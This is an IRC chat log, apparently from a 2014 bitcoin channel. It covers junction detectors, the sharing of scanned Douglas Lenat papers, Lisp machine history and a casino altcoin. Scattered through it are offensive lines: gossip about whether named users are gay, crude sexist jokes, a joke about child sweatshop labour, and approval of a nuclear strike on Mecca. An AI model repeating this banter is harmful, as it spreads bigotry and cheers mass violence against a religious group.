assbot: Logged on 07-07-2014 14:17:39; asciilifeform: BingoBoingo, mircea_popescu, others: re: electronics-sniffing dog << distraction psyop. in real life, hidden electronics are found with a nonlinear junction detector.
pete_dushenski: ;;google nonlinear junction detector
gribble: Nonlinear junction detector - Wikipedia, the free encyclopedia: <>; REI ORION 2.4 Non-Linear Junction Detector: <>; NLJD - Non Linear Junction Detector Tutorial - Granite Island Group: (1 more message)
pete_dushenski: that leaves us with paper wallets entre les buttcheeks.
pete_dushenski: laminted, natch
asciilifeform: pete_dushenski: or semiconductors encased in continuous conductive countours.
pete_dushenski: asciilifeform: analog or digital, user pref
assbot: The Power of Friction - YouTube
asciilifeform: of course it is
asciilifeform: when unintentional - bane of machine tool operators everywhere
mircea_popescu: pretty cool vid i say!
asciilifeform: these appear to be wheel hubs.
mircea_popescu: JuliaTourianski how goes canada ?
mircea_popescu: <asciilifeform> apple << wtf is the point of 'canary' if everyone ignores, makes up justifications, when it croaks. << "everyone" ? the us agitprop (calling itslef "mainstream media") is not everyone just like is not everyone in bitcoin.
mircea_popescu: heck, it'll be tough to argue that they're someone at all, even.
asciilifeform: mircea_popescu: this was not limited to the loltron. plenty of 'humans' made excuses.
mircea_popescu: like... who ? schneier ? :D
mircea_popescu: moldbug ?
asciilifeform: nah peanut gallery.
mircea_popescu: well ppls can err
pete_dushenski: friction << certified cool!
mircea_popescu: "Richard Everset and C. R. Jones had gone on the first interstellar flight. They had found an inhabited planet in the region of Vega. The rest was standard procedure."
mircea_popescu: such bad writing. if something is a first then it can't be "standard procedure"
mircea_popescu: standard procedure is what an old whore does, never a virgin.
asciilifeform: mircea_popescu: sheckley was a sort of comedian.
ben_vulpes: first moon landing - full of standard procedures.
asciilifeform: mircea_popescu: this partially why he was revered in the soviet world, where he in fact died (on tour) a few years ago.
asciilifeform: (while almost forgotten in his native land)
mircea_popescu: i never heard of him
asciilifeform somewhat surprised
mircea_popescu: the premise is not bad.
mircea_popescu: "What armor is there against thought? How do you dodge a wavelength?" << meh. why ruin it ? wavelength is not thought, and moreover easily armored against.
mircea_popescu: "Any alteration from the typical human brain wave pattern of the occupants of a Detector-equipped ship would boost the indicator around the dial. Even a bad dream or a case of indigestion would jar it." || "The unmoving dials." jesus pick one.
asciilifeform: mircea_popescu: this is generally why ancient sf is best read in childhood
asciilifeform: mircea_popescu: it doesn't usually survive this treatment
asciilifeform: mircea_popescu: doesn't make it worthless.
assbot: [MPEX] [S.MPOE] 38081 @ 0.00074777 = 28.4758 BTC [-] {2}
mircea_popescu: actually it's a little jewel, just a bit of cruft here and there.
mircea_popescu: maybe should be rewritten properly.
JuliaTourianski: +mircea_popescu quite well, how goes wherever you live?
mircea_popescu: where i live goes nudely swell.
mircea_popescu: which is a superlative idiomatic i've just created for the occasion.
thestringpuller: every time I see the word fancy
thestringpuller: i think of that song fancy huh
thestringpuller: by drake or whoever the fuck
JuliaTourianski: iggy asmellyyah..becuase mike dice is a creative.
JuliaTourianski: i bet the dude rocks out to katy perry in the shower.
JuliaTourianski: because estrogen in water
mircea_popescu: i wonder how long before the standard moves from "potable water" to "pristine water"
mircea_popescu: i've not drunk tap water in about a decade or so.
ben_vulpes: in this town we flush whole reservoirs when someone pees in them
ben_vulpes: and nobody's allowed in the bull run
ben_vulpes: nominally.
JuliaTourianski: avian is what the new world order drinks
JuliaTourianski: this message was sponsored by avian
ben_vulpes: agua sin gas bleh
JuliaTourianski: do they still have water bars?
peterl: I still drink out of the hose with my kids if outside.
cazalla: JuliaTourianski, do you use one of AJ's water filters?
JuliaTourianski: don;t you worry boys, xenoestrogen & phytoestrogen will get you
JuliaTourianski: +cazalla big berke
JuliaTourianski: the dated water filter - but it looks empowering
thestringpuller: JuliaTourianski: i bet the dude rocks out to katy perry in the shower. << If you're talking about Drake, I think this is confirmed...
JuliaTourianski: +thestringpuller no mike dice
BingoBoingo: JuliaTourianski: don;t you worry boys, xenoestrogen & phytoestrogen will get you << You know one of the steps involved in maturing sperm cells in the testicals involves... converting testosterone to estrogen!
thestringpuller: People also search for Alex Jones.
JuliaTourianski: and when your body is overrun by fake estrogens, it hinders its ability to do so
thestringpuller: so fake estrogen == bad sperm?
JuliaTourianski: the juice boxes ARE making you gay boys.
cazalla: JuliaTourianski, you mean a popper?
JuliaTourianski: OMG where are all the homos of btc? bitcoin is homophobic. must write article for tumblr
thestringpuller: jurov is gay...
peterl: isn't Rassah gay?
thestringpuller: that too
JuliaTourianski: *waiting for someone to take low blow bait
JuliaTourianski: is rassah gay? didn;t get that vibe
peterl: thought I read that from him somewhere?
ben_vulpes: jurov, non?
peterl: I don't know him personally
JuliaTourianski: who would write about that :S
peterl: it was sort of inferred, guy talking about his husband ...?
mircea_popescu: BingoBoingo testicals are feminist testicles ?
mircea_popescu: <peterl> isn't Rassah gay? <<< i don't think as much gay as a furry creature.
peterl: same thing?
BingoBoingo: mircea_popescu: Well... Testicles was a great warrior in the Classical period...
peterl: wasn't that pericles?
JuliaTourianski: +peterl rofl
mircea_popescu: or patrocles.
mircea_popescu: who actually WAS gay
peterl: they had gay back then?
JuliaTourianski: gay was the only thing they had back then
JuliaTourianski: and goats
peterl: women not invented yet?
mircea_popescu: peterl women were the goats.
mircea_popescu: so cheezy from all the neglect you could scarcely tell the difference.
mircea_popescu: sapho lived off of herding greek gals and selling the diary.
peterl: ewww
mircea_popescu: stop playing with your food young man and eat your vaggies.
peterl: nom-nom
JuliaTourianski: i used to make cheese at home all the time. what happened to me?
peterl: I made mead at home once
mircea_popescu: you stopped being poor ?
assbot: Taylor Swift Brings 'No Its Becky' Meme To Life, Wins Internet
asciilifeform: in response to years of prodding from various folks, and mircea_popescu reminding me that 'lesswrong' existed, i took an hour or so to digitize the old douglas lenat papers. now need a place to host
asciilifeform: (a bit bulky)
asciilifeform: now we can finally destroy the universe by enabling any kid to build rogue ai.
asciilifeform: or something like that.
mircea_popescu: email ill put on trilema
asciilifeform: 500 Mb or so
mircea_popescu: the guy wrote 100 mn words ?!
asciilifeform: djvu no less
mircea_popescu: meh such digitize
mircea_popescu: what's the largest filesize ?
asciilifeform: about to make w4r3z torrent...
mircea_popescu: i got the space, just, some derpy kid's idea of ai will prolly be to try and "loic" it
mircea_popescu: torrent prolly best
JuliaTourianski: do you guys have any opinions on stefan molyneux?
JuliaTourianski: srsly just curious
mircea_popescu: !s molyneux
mircea_popescu: anywya, he's ok i guess.
JuliaTourianski: 1 result. aw
kakobrekla: dun worry, its now 3.
kakobrekla: 4 actually. :(
kakobrekla: imma leech too
kakobrekla: doesnt work - the link
mats_cd03: pricing of the nonlinear junction detector looks quite high. is there a miser's version somewhere? made in a sweatshop perhaps?
asciilifeform: let's try that link again.
thestringpuller: my life goal is to own a sweatshop
thestringpuller: fill it with indonesian children
asciilifeform: kakobrekla: now ?
kakobrekla: no cigar
asciilifeform: what happens ?
kakobrekla: right now i just get a network error
kakobrekla: earlier it was file not found briefly
kakobrekla: use some retarded upload service ?
kakobrekla: ;;google upload file
gribble: Upload - Speedy Share - upload your files here: <>; Free large file hosting. Send big files the easy way!: <>; WeTransfer: <>
assbot: 'Big Red One' HQ will deploy to Iraq | Army Times |
mats_cd03: i should do a bet about green attacks before end of the year
mats_cd03: er, green on green
mats_cd03: and green on blue.
assbot: [MPEX] [S.MPOE] 54242 @ 0.00074753 = 40.5475 BTC [-] {2}
mats_cd03: some days i think about whether someone will end up glassing mecca
asciilifeform: mats_cd03: i've been thinking about it ever since al schwartz recommended it in '01...
mats_cd03: that would be a good day
asciilifeform: kakobrekla: uploading turd...
thestringpuller: was that a real thing?
thestringpuller: someone actually used the term "glassing"
assbot: The Hour Of Reckoning pe Trilema - Un blog de Mircea Popescu.
kakobrekla: the torrent file?
kakobrekla: i have set up rtorrent on some boxen with pipe
mats_cd03: huh?
mats_cd03: are we on the same page? nuclear detonation.
asciilifeform: wait people don't know what 'glassing' means?!
asciilifeform: mircea_popescu: neato! reading...
mircea_popescu: glassing is the wholesale production of borosilicate glass out of the landscape as the side effect of a runaway nuclear reaction.
assbot: [HAVELOCK] [RENT] 1400 @ 0.0075 = 10.5 BTC [+]
asciilifeform: aka 'trinitite.'
assbot: - Chapter 3
mats_cd03: a short story.
kakobrekla: did you get the torrent up ascii?
asciilifeform: kakobrekla: actually throwing it on a server.
asciilifeform: kakobrekla: ~half done
kakobrekla: ok boss
asciilifeform: should be shat out by the time i'm done reading 'hour of reckoning'
pete_dushenski: blog incoming. turns out not every vc is a derp.
decimation: re: nonlinear junction detector << like an ohm meter?
asciilifeform: decimation: nope.
asciilifeform: decimation: more like a radar set
pete_dushenski: now: al gimnasio!
decimation: trival V-I curve at DC is easily detected
asciilifeform: decimation: if beam hits a rectifier, energy is absorbed instead of reflected or transmitted to other side of obstacle.
asciilifeform: decimation: and anything that semiconducts is rectifier.
decimation: if the signal passes through a channel that is not linear-time-invariant, one will see intermodulation products arise
thestringpuller: i think i learn more in this channel than i ever did in school
decimation: subtle nonlinearities in radio systems are regularly measured with the 'two-tone test'
thestringpuller: mircea_popescu: glassing is the wholesale production of borosilicate glass out of the landscape as the side effect of a runaway nuclear reaction. << this is a great definition
asciilifeform: sha256(lenat-leaks.tar.gz) == cf3a34181d3dff597f1d3fbd7f5678d65263720dbe6ce14dc814ff714d729015
asciilifeform: kakobrekla, mircea_popescu.
xanthyos: IT'S MY BIRTHDAY
decimation: wow ascii I'm getting 8 mbit/sec, that's serious
asciilifeform: please don't kill the poor bugger
asciilifeform: it's an ancient box doing crawler duty
kakobrekla: works
asciilifeform: test hash when done.
decimation: lol 'mnemus'
asciilifeform: ancient apparatus, abandoned
asciilifeform: of no consequence.
asciilifeform: shared a machine with a 'sollipse' - also abandoned, of no use.
decimation: ascii do you 'pack-rat' information on the internet? I find I am caching more and more these days
asciilifeform: decimation: i tend to rely on my head
decimation: yeah but it's handy to 'grep' for poorly-remembered stuff
asciilifeform: decimation: this often annoys phriends who want an actual external copy of something in it...
asciilifeform: decimation: heads come with 'grep' typically
mats_cd03: lol.
decimation: that's a good point
mircea_popescu: thestringpuller> i think i learn more in this channel than i ever did in school << im sure most do.
decimation: asciilifeform: I was thinking about your piston pump today - how do you craft it with all the 'hidden' holes? In two halves? Casting?
asciilifeform: mircea_popescu: ^ w4r3z
asciilifeform: decimation: what hidden holes
mircea_popescu: <xanthyos> IT'S MY BIRTHDAY << happy bday.
decimation: I mean the chambers must be carved from the inside
asciilifeform: decimation: why?
asciilifeform: decimation: you know, 18th century happened, thread was invented.
decimation: ah so you are making tubes that screw together, not 'negative space' in the block like your link illustrated
asciilifeform: decimation: what do you think.
decimation: heh I guess it makes sense. elsewhere in the link, there are pictures of the ceramic 'screw pumps' that are supposedly of higher quality
asciilifeform: decimation: those are quite nice
asciilifeform: decimation: i can only dream of them.
decimation: I was thinking one could cast with a mold, but a home-made version of those would probably not be sufficiently precisely machined
asciilifeform: mold << nope.
decimation: you think they are cut from ceramic blank?
asciilifeform: sintered.
asciilifeform: mircea_popescu, kakobrekla: let me know when you're done l33ch1ng t3h l33t w4rez
kakobrekla: 40% done here
decimation: cf3a34181d3dff597f1d3fbd7f5678d65263720dbe6ce14dc814ff714d729015 lenat-leaks.tar.gz
kakobrekla: damn its same :(
mats_cd03: run through ocr for the rest of us, eh?
asciilifeform: no ocr.
asciilifeform: old, crappy scans (esp. the rare ones that never sat on the net before)
decimation: I have ocr, but it only works on pdf
asciilifeform: and many pictures.
asciilifeform: (see 'manifest' for which)
assbot: [HAVELOCK] [AM1] 17 @ 0.14499999 = 2.465 BTC [+] {2}
kakobrekla: lol@manifest.
decimation: lol ancestor simulation
decimation: ascii hopefully we can share the hard-ai-god's gasenwagen
nubbins`: can anyone point me to a simple shell script that generates private keys from secret exponents?
asciilifeform: decimation: lol << laugh, but if these folks had balls, they'd be stereotypically dangerous loons
decimation: like 'drink the kool-aid' type or the 'bomb the city' type?
asciilifeform: presumably (2) then (1)
decimation: heh when turned into pdf, tripled in size
asciilifeform: decimation: and 1/10 the render speed on small cpu
asciilifeform: decimation: djvu exists for a reason
decimation: yeah :( too bad the warez only ocr pdf
decimation: my checksums all check
asciilifeform: decimation: congrats
assbot: Indian Mars Mission Beams Back First Photographs : Discovery News
decimation: obligatory: << "“We must also go there and say: ‘What are you people doing up here?’”"
assbot: Across Difficult Country: Far out space nuts
assbot: [MPEX] [S.MPOE] 17150 @ 0.00075094 = 12.8786 BTC [+] {2}
decimation: ascii I have bad news. The ones with "ADA" numbers have already been published on the internet by usg:
assbot: RLL-1: A Representation Language Language
asciilifeform: decimation: both rll pieces ?
asciilifeform: decimation: the one with actual code is the 'supplement'
asciilifeform: lol, looks like they posted it, too
assbot: RLL-1: A Representation Language Language. Supplement. Details of RLL-1
decimation: anything with 'ada' is a 'dtic' research report
asciilifeform: perhaps because i ordered them scanned...
decimation: sometimes they are scanned, sometimes not :)
asciilifeform: (where do you think i got them)
asciilifeform: used to be, these were just catalogue #s.
asciilifeform: and might be interesting to compare the dtic-online version to mine.
asciilifeform: but - life is short.
asciilifeform: anyway, all this crud is in one convenient place now, and readable on civilized reading machines...
decimation: indeed.
asciilifeform: (e.g. 'kindle dx' with 'librerator' aftermarket firmware.)
decimation: and I think you are right, they are too shitty to ocr for the most part
asciilifeform: decimation: i tried, back in the day, was not impressed with result.
asciilifeform: ocr for code is a nonstarter anyway
decimation: some idiot intern did the scanning
asciilifeform: two scans.
decimation: or it was a copy-of-a-copy-of-a-copy
asciilifeform: one - their end
asciilifeform: they mailed - paper.
asciilifeform: another - my old lab's scanner.
asciilifeform: and the original was probably put on record as a paper report, as well.
asciilifeform: lucky that the text is readable at all.
asciilifeform: at least 3 of the documents came from another place and were public for ages.
decimation: indeed, 'markov chain in the brain' is quite powerful at correcting errors
decimation: one wonders how many other useful reports lie mouldering in some gov't bin, unscanned
asciilifeform: the real lol is that i had to write a report, quite like this one, when my contract was ending.
asciilifeform: it, too, was interred in some 'indiana jones' vault
asciilifeform: for some archaeologist to vomit over one day.
decimation: gov't pays for such 'research', most of which is pointless:
asciilifeform: it feeds a gigantic class of folks, some of whom could conceivably be of some use, most go back to home country after they had enough.
assbot: [MPEX] [S.MPOE] 3511 @ 0.00075184 = 2.6397 BTC [+]
decimation: usg asks so many questions, doesn't understand the answers...
asciilifeform: there are two versions of the lenat story
asciilifeform: one, where he's a scammer.
asciilifeform: (the facts actually favour this hypothesis. he collected $billions for 'cyc' project, never showed any useful result.)
asciilifeform: another - where he was onto something.
asciilifeform: the schoolbook telling of the 'eurisko' project - open an encyclopaedia of computing, traditionally it is mentioned as a seminal work - suggests this.
asciilifeform: he never published the source of 'eurisko'. each hypothesis provides an explanation for why.
asciilifeform: scammer: it never worked really, he won the 'traveller' tourney using his brain plus a few automated routines
asciilifeform: genius: it worked, he wanted to conquer world / get rich / etc. with it.
asciilifeform: rll-1 supplement does not settle the 'scammer or genius' question, perhaps surprisingly.
asciilifeform: even leaves open the interpretations 'genius scammer' or 'scamming genius.'
asciilifeform: ;;google douglas lenat
gribble: Douglas Lenat - Wikipedia, the free encyclopedia: <>; Cyc - Wikipedia, the free encyclopedia: <>; Cycorp | Home of smarter solutions: <>
asciilifeform: draw own conclusions.
asciilifeform: until the real 'lenat leak' perhaps one day.
decimation: the '3d vlsi design' part is interesting
asciilifeform: same as the traveler thing
asciilifeform: we don't know if it was eurisko or just doug l. and a lisp prompt.
asciilifeform: no way to learn the truth short of wiring him to the mains.
asciilifeform: (or replicating result...)
decimation: seems like if the stuff were useful, he would have out googled google before google googled.
asciilifeform: decimation: nope. resources of the time.
decimation: right, of the time, but he had the access to the same computers google did
asciilifeform: decimation: precious little horsepower (esp. for a serious lisp system); precious little network to speak of; etc
asciilifeform: by the time these things changed - he was fully occupied in operating an obvious chumpatron
asciilifeform: go and 'dismount the tiger without being eaten'
decimation: the 'cyc' stuff, yeah that seems dumb
asciilifeform: afaik he remains there.
asciilifeform: 'cyc' is a real laugh. they have a crippled 'open' version; in java, if i recall!
asciilifeform: does - nothing.
asciilifeform: was always a laugh.
asciilifeform: but cyc is not eurisko.
asciilifeform: whether eurisko existed - and in what form - is the real question.
decimation: it is interesting how this eurisko thing, the really useful symbolics stuff, early MIT lisp stuff -- much of it has simply disappeared
decimation: one would think that someone would have made a few backups, but then again shit happens I guess
asciilifeform: and brad parker has more
asciilifeform: (re: mit, lmi, symbolics)
asciilifeform: people made backups. on tape. someone actually paid to have many of the tapes recovered.
asciilifeform: and mit rubber-stamped the bsd license release of the original cadr stuff, once priced at $maxint
asciilifeform: (symbolics, lmi, ti - paid vast sums to license 'cadr')
decimation: yeah it created two spinoffs
asciilifeform can tell that decimation read richard stallman's version
decimation: heh yeah I did
asciilifeform: for some reason he omits ti
asciilifeform: why? ask him, not me
decimation: oh yeah I forgot about ti
decimation: also apple had a lisp machine later on right
decimation: was that based on ivory chip?
decimation: No I'm thinking of maclisp, which is unrelated to apple I guess
cazalla: anyone heard of before? apparently johnny chan is gonna be the face of it and they'll have bitcoin deposit/withdrawals
assbot: Breakout Gaming
assbot: Breakout Gaming Announces New Coin and Gaming Destination | VentureBeat | Business | by Business Wire
cazalla: "An in-house, web based, exchange seamlessly converts Bitcoin (BTC) to Breakout Coin (BRO) with a cold storage solution to protect the currency, avoiding the opportunity for hackers to enter the servers. Breakout Gaming’s site will feature 88 different casino games including the popular Texas Hold ‘Em, Open Face Chinese Poker, in addition to a custom built Fantasy Sports betting platform. " more shit coins for your bitcoin
decimation: everyone wants some seigniorage
assbot: [MPEX] [S.MPOE] 3042 @ 0.00075184 = 2.2871 BTC [+]
assbot: [MPEX] [S.MPOE] 27200 @ 0.0007531 = 20.4843 BTC [+] {2}
mircea_popescu: cazalla as a rule of thumb, if grep "will" > devnull
mircea_popescu: obviously paid piece, how else would a journalist know what "will" happen
mircea_popescu: this is the equivalent of the "if newspiece title ask a question, the response is no".
cazalla: maybe they'll peg their altcoin to usd so that even if you win, you lose bitcoins
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